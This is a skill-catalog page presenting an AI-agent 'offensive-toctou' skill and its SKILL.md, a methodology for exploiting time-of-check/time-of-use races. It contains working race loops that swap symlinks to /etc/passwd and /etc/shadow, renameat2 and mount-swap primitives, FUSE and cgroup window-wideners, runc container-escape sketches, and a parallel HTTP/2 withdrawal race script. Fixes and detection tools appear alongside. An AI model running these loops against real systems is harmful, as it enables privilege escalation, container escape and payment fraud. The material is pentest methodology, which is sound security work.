SnailSploit/Claude-Red/Skills/exploit-dev/offensive-toctou/SKILL.md
offensive-toctou
Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-cla
- Source repository stars
- 2,808
- Declared platforms
- 0
- Static risk flags
- 2
- Last source update
- 2026-05-08
- Source checked
- 2026-08-04
Decision brief
What it does—and where it fits
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Not for
- Tasks that require unconfirmed production actions or broad system permissions.
- Environments where the pinned source and install steps cannot be inspected.
Compatibility matrix
Platform support, with evidence labels
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Not declared | No explicit evidence | Portability before use |
| Cursor | Not declared | No explicit evidence | Portability before use |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
Inspect first. Install second.
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/SnailSploit/Claude-Red --skill "Skills/exploit-dev/offensive-toctou"Inspect the Agent Skill "offensive-toctou" from https://github.com/SnailSploit/Claude-Red/blob/aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e/Skills/exploit-dev/offensive-toctou/SKILL.md at commit aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
What the source asks the agent to do
- 01
Quick Workflow
1. Identify the check (syscall, function, validation step) and the use (the privileged action) 2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot) 3. Build a primitive that swaps the object between check and use (symlink, mount, mv,…
Identify the check (syscall, function, validation step) and the use (the privileged action)Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request) - 02
Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
victim --output /tmp/.attacker/output - 03
The Core Pattern
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.The fix is always: operate on the kernel object, not the path. Use ONOFOLLOW, openat with ATSYMLINKNOFOLLOW, fstat on the FD, etc. - 04
Filesystem TOCTOU
Review the “Filesystem TOCTOU” section in the pinned source before continuing.
Review and apply the “Filesystem TOCTOU” source section. - 05
Symlink Swap (Classic)
Review the “Symlink Swap (Classic)” section in the pinned source before continuing.
Review and apply the “Symlink Swap (Classic)” source section.
Permission review
Static risk signals and limitations
Reads files
The documentation asks the agent to read local files, directories, or repositories.
if (!access(file, R_OK)) { // check with real UID via access()Reads files
The documentation asks the agent to read local files, directories, or repositories.
fd = open(file, O_RDONLY); // open with effective UID = rootNetwork access
The documentation includes network, browsing, or remote request actions.
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})Evidence record
Why each signal appears
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 89/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 2,808 | Source | Repository attention, not individual Skill quality |
| Compatibility | 0 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
Provenance and original SKILL.md
- Repository
- SnailSploit/Claude-Red
- Skill path
- Skills/exploit-dev/offensive-toctou/SKILL.md
- Commit
- aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e
- License
- MIT
- Collected
- 2026-08-04
- Default branch
- main
View the original SKILL.md
TOCTOU — Time-of-Check / Time-of-Use Exploitation
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
Directory Swap (mv between two prepared trees)
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
Bind Mount / Mount-Namespace Swap (root-only or in user-ns)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
In containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
Window-Widening Primitives
The race is always winnable in theory; in practice you need the window large enough for your swap.
FUSE-Backed Slow Filesystem
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__
Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
Userfaultfd (kernel-level page faults)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);
userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
Cgroup Freeze
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
Single-CPU Pinning + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit
Kernel Double-Fetch
A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.
Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.
/proc and procfs Races
/proc/pid/exe + ptrace
/proc/<pid>/exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem
open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.
/proc/pid/cwd / fd / root
Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.
Setuid Binary TOCTOU
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}
Symlink swap between access and open makes the binary read root-readable files for unprivileged users.
Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface
Container Escape via TOCTOU
CVE-2019-5736 (runc) — /proc/self/exe Overwrite
When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.
CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak
A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/<n> — the container's first process held a host FD, races on namespace setup let it act on host paths.
Symlink-on-Mount Race
When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.
Web / API TOCTOU
Auth vs Authz Split at Gateway
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
If the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
Permission Recheck Skipped on Long-Running Action
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
Test: revoke access while a download is mid-stream; if data continues, recheck is missing.
Idempotency-Key Reuse with Different Body
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body
Many implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
Single-Packet Multi-Request
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
This is the standard primitive for web TOCTOU since 2023; old httpie ... & parallelism is obsolete.
Limit / Quota TOCTOU
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (UPDATE ... WHERE balance >= amount).
Mobile / Binary Cookbook
Android: Intent Redirect TOCTOU
Activity checks calling package via getCallingPackage() then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
iOS: NSXPC Audit Token Confusion
audit_token_t should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.
Detection & Tooling
| Tool | Layer | Use |
|---|---|---|
strace -e trace=file -f | Linux syscall | Find duplicate path resolutions |
bpftrace / bcc | Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
syzkaller | Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
racepwn | Web | Multi-thread + timing harness |
Turbo Intruder | Web | Pipelined parallel requests |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates
Race Loop Templates
Filesystem (C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}
Web (Python — single-packet HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.
Reporting / Severity
A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
- The minimum reproducer
- The window-widener used
- The success rate observed
- The post-exploit primitive achieved
Key References
- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)
- USENIX Security: "FUSE for Profit" — TOCTOU window-widening
- PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)
- runc CVE-2019-5736, CVE-2024-21626 advisories
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md
Alternatives
Compare before choosing
alirezarezvani/claude-skills
app-store-optimization
App Store Optimization (ASO) toolkit for researching keywords, analyzing competitor rankings, generating metadata suggestions, and improving app visibility on Apple App Store and Google Play Store. Use when the user asks about ASO, app store rankings, app metadata, app titles and descriptions, app store listings, app visibility, or mobile app marketing on iOS or Android. Supports keyword research and scoring, competitor keyword analysis, metadata optimization, A/B test planning, launch checklist
dotnet/skills
migrate-vstest-to-mtp
Migrates .NET test projects from VSTest to Microsoft.Testing.Platform (MTP). Use when user asks to "migrate to MTP", "switch from VSTest", "enable Microsoft.Testing.Platform", "use MTP runner", set OutputType=Exe only for test projects in Directory.Build.props, or mentions EnableMSTestRunner, EnableNUnitRunner, or UseMicrosoftTestingPlatformRunner. USE FOR: MTP behavioral differences vs VSTest (exit code 8, zero tests discovered, --ignore-exit-code, TESTINGPLATFORM_EXITCODE_IGNORE); centralizing
HKUDS/Vibe-Trading
strategy-generate
Create, modify, and optimize quantitative trading strategies, then backtest and evaluate them.
K-Dense-AI/scientific-agent-skills
dask
Distributed computing for larger-than-RAM pandas/NumPy workflows. Use when you need to scale existing pandas/NumPy code beyond memory or across clusters. Best for parallel file processing, distributed ML, integration with existing pandas code. For out-of-core analytics on single machine use vaex; for in-memory speed use polars.